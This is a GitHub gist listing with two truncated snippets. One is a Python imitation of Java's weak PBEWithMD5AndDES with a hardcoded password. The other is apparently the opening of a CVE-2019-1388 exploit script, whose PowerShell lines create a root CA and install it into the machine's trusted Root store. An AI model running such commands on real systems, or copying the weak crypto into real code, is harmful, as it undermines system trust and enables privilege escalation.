Skip to content

Instantly share code, notes, and snippets.

@pwndad
pwndad / crypto.py
Last active October 14, 2020 12:36 — forked from rohitshampur/crypto.py
Mimic Java's PBEWithMD5AndDES algorithm to produce a DES key
import base64
from Crypto.Hash import MD5
from Crypto.Cipher import DES
try:
from Cryptodome.Util import Padding
except ImportError:
from Crypto.Util import Padding
_password = '111' #use your own pass key
@pwndad
pwndad / CVE-2019-1388.ps1
Created November 25, 2019 22:08
CVE-2019-1388
# jump to a location with write permissions
cd $env:USERPROFILE\desktop
# add win sdk dir to path variable
$env:Path="$env:Path;C:\Program Files (x86)\Windows Kits\10\bin\10.0.18362.0\x64\"
# create root ca cert
makecert -n "CN=root ca" -a sha1 -eku 1.3.6.1.5.5.7.3.3 -r -sv root.pvk root.cer -ss Root -sr localMachine -l https://www.zerodayinitiative.com/blog/
# create code signer cert